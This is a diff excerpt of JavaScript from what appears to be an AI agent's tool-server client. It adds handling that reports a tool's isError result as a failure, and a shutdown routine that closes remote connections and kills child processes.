+ if (!conn) return { ok: false, error: `the "${parsed.server}" server is not connected` };
1227
+
1228
+ const res = await conn.rpc.request('tools/call', { name: parsed.tool, arguments: args ?? {} }, CALL_TIMEOUT_MS);
1229
+ if (res?.error) return { ok: false, error: `${parsed.server}: ${res.error.message}` };
1230
+
1231
+ const content = res?.result?.content ?? [];
1232
+ const text = content
1233
+ .map((c) => (c?.type === 'text' ? c.text : `[${c?.type ?? 'unknown'}]`))
1234
+ .join('\n')
1235
+ .slice(0, 20_000);
1236
+ /**
1237
+ * ⚠️ `isError` IS THE SERVER SAYING THE TOOL FAILED, on a successful RPC.
1238
+ * Treating it as success would hand the model a failure message formatted as
1239
+ * a result and let it build on top of it — the same silent-success class that
1240
+ * made the sandbox verifier useless this morning.
1241
+ */
1242
+ if (res?.result?.isError) return { ok: false, error: text || 'the tool reported an error' };
1243
+ return { ok: true, server: parsed.server, tool: parsed.tool, text };
1244
+ }
1245
+
1246
+ /**
1247
+ * Shut every server down. Called when the session ends, always.
1248
+ *
1249
+ * ⚠️ `close()` FIRST, `child.kill()` AS THE FALLBACK. A remote connection has no
1250
+ * child to kill, and the old `if (!c.child) continue` skipped it entirely — an
1251
+ * open SSE stream is a live socket, and a live socket keeps Node's event loop
1252
+ * alive, so a session with one hosted server would have printed its report and
1253
+ * then never exited. That is the same failure `child-lifetime.mjs` documents for
1254
+ * children, arriving over TCP where `unref` does not reach.
1255
+ */
1256
+ export function closeConnections(connections) {
1257
+ for (const c of connections) {
1258
+ if (!c.ok) continue;
1259
+ try { c.close?.(); } catch { /* already gone */ }
1260
+ if (!c.child) continue;
1261
+ try { c.child.kill(); } catch { /* already gone */ }
1262
+ }
1263
+ }